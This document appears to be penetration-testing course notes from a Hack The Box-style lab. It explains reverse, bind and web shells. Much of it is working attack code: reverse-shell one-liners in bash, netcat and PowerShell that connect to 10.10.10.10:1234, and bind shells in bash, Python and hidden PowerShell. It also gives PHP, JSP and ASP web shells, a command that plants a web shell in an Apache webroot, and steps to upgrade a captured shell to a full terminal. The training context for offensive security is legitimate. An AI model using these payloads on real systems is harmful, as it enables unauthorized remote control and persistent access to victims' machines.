Shell overview
Once we compromise a system and exploit a vulnerability to execute commands on the compromised hosts remotely, we usually need a method of communicating with the system. To enumerate the system or take further control over it or within its network, we need a reliable connection that gives us direct access to the system’s shell, i.e., Bash
or PowerShell
, so we can thoroughly investigate the remote system for our next move. One method of accessing a compromised host for control and remote code execution is through shells.
There are three main types of shells: Reverse Shell, Bind Shell, and Web Shell. Each of these shells has a different method of communication with us for accepting and executing our commands.
Type of Shell | Method of Communication |
---|---|
Reverse Shell | Connects back to our system and gives us control through a reverse connection. |
Bind Shell | Waits for us to connect to it and gives us control once we do. |
Web Shell | Communicates through a web server, accepts our commands through HTTP parameters, executes them, and prints back the output. |
Reverse shell
You can view a reverse shell cheatsheet here.
Netcat listener
Once we identify a vulnerability on the remote host that allows remote code execution, we can start a netcat
listener on our machine that listens on a specific port, say port 1234
. With this listener in place, we can execute a reverse shell command
that connects the remote systems shell, i.e., Bash
or PowerShell
to our netcat
listener, which gives us a reverse connection over the remote system.
In the example below, -l instructs to start in listen mode and wait for a connection to connect to us. -v sets verbose mode. -n disables DNS resolution (only connect to IPs) to speed up the connection. -p sets the port netcat is listening on.
brianhaddock@htb[/htb]$ nc -lvnp 1234
listening on [any] 1234 ...
The below commands are reliable commands we can use to get a reverse connection, for bash
on Linux compromised hosts and Powershell
on Windows compromised hosts:
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',1234);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"
Once you’ve executed one of the above commands, you should receive a connection through your netcat listener. Here’s what the connection would look like when it’s made.
brianhaddock@htb[/htb]$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.1] 41572
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
A Reverse Shell
can be very fragile. Once the reverse shell command is stopped, or if we lose our connection for any reason, you have to use the initial exploit to execute the reverse shell command again to regain access.
Bind shell
You can view a bind sheel cheatsheet here.
Another type of shell is a Bind Shell
. Unlike a Reverse Shell
that connects to us, we will have to connect to it on the targets'
listening port. Once we execute a Bind Shell Command
, it will start listening on a port on the remote host and bind that host’s shell, i.e., Bash
or PowerShell
, to that port. We have to connect to that port with netcat
, and we will get control through a shell on that system.
The following are reliable commands we can use to start a bind shell:
Code: bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f
Code: python
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",1234));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
Code: powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();
Once we execute the bind shell command, we should have a shell waiting for us on the specified port. We can now connect to it. We can use netcat
to connect to that port and get a connection to the shell:
brianhaddock@htb[/htb]$ nc 10.10.10.1 1234
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
As we can see, we are directly dropped into a bash session and can interact with the target system directly. Unlike a Reverse Shell
, if we drop our connection to a bind shell for any reason, we can connect back to it and get another connection immediately. However, if the bind shell command is stopped for any reason, or if the remote host is rebooted, we would still lose our access to the remote host and will have to exploit it again to gain access.
Once we connect to a shell through Netcat, we will notice that we can only type commands or backspace, but we cannot move the text cursor left or right to edit our commands, nor can we go up and down to access the command history. To be able to do that, we will need to upgrade our TTY. This can be achieved by mapping our terminal TTY with the remote TTY.
There are multiple methods to do this. For our purposes, we will use the python/stty
method. In our netcat
shell, we will use the following command to use python to upgrade the type of our shell to a full TTY:
brianhaddock@htb[/htb]$ python -c 'import pty; pty.spawn("/bin/bash")'
After we run this command, we will hit ctrl+z
to background our shell and get back on our local terminal, and input the following stty
command:
www-data@remotehost$ ^Z
brianhaddock@htb[/htb]$ stty raw -echo
brianhaddock@htb[/htb]$ fg
[Enter]
[Enter]
www-data@remotehost$
Once we hit fg
, it will bring back our netcat
shell to the foreground. At this point, the terminal will show a blank line. We can hit enter
again to get back to our shell or input reset
and hit enter to bring it back. At this point, we would have a fully working TTY shell with command history and everything else.
We may notice that our shell does not cover the entire terminal. To fix this, we need to figure out a few variables. We can open another terminal window on our system, maximize the windows or use any size we want, and then input the following commands to get our variables.
First, we echo $TERM to get our TERM variable and then use stty to get the values for rows and columns on our local machine.
brianhaddock@htb[/htb]$ echo $TERM
xterm-256color
brianhaddock@htb[/htb]$ stty size
67 318
Now that we have our variables, we can go back to our netcat
shell and use the following command to correct them on our remote host:
www-data@remotehost$ export TERM=xterm-256color
www-data@remotehost$ stty rows 67 columns 318
Web shell
A Web Shell
is typically a web script, i.e., PHP
or ASPX
, that accepts our command through HTTP request parameters such as GET
or POST
request parameters, executes our command, and prints its output back on the web page.
Writing a Web Shell
First of all, we need to write our web shell that would take our command through a GET
request, execute it, and print its output back. A web shell script is typically a one-liner that is very short and can be memorized easily. The following are some common short web shell scripts for common web languages:
Code: php
<?php system($_REQUEST["cmd"]); ?>
Code: jsp
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
Code: asp
<% eval request("cmd") %>
Uploading a Web Shell
Once we have our web shell code in hand, we need to place our web shell script into the remote host’s web directory (webroot) to execute the script through the web browser. This can be through a vulnerability in an upload feature, which would allow us to write one of our shells to a file, i.e. shell.php
and upload it. Or, if we only have remote command execution through an exploit, we can write our shell directly to the webroot to access it over the web. The following are the default webroots for common web servers:
Web Server | Default Webroot |
---|---|
Apache | /var/www/html/ |
Nginx | /usr/local/nginx/html/ |
IIS | c:\inetpub\wwwroot\ |
XAMPP | C:\xampp\htdocs\ |
We can check these directories to see which webroot is in use and then use echo
to write out our web shell. For example, if we are attacking a Linux host running Apache, we can write a PHP
shell with the following command:
Code: bash
echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php
Once we write our web shell, we can either access it through a browser or by using cURL
. For example, wht the shell.php file above loaded on the serve, we can visit the shell.php
page on the compromised website, and use ?cmd=id
to execute the id
command:
http://SERVER_IP:PORT/shell.php?cmd=id
Another option is to use cURL
:
brianhaddock@htb[/htb]$ curl http://SERVER_IP:PORT/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
A great benefit of a web shell is that it would bypass any firewall restriction in place, as it will not open a new connection on a port but run on the web port on 80
or 443
, or whatever port the web application is using. Another great benefit is that if the compromised host is rebooted, the web shell would still be in place, and we can access it and get command execution without exploiting the remote host again. On the other hand, a web shell is not as interactive as reverse and bind shells are since we have to keep requesting a different URL to execute our commands.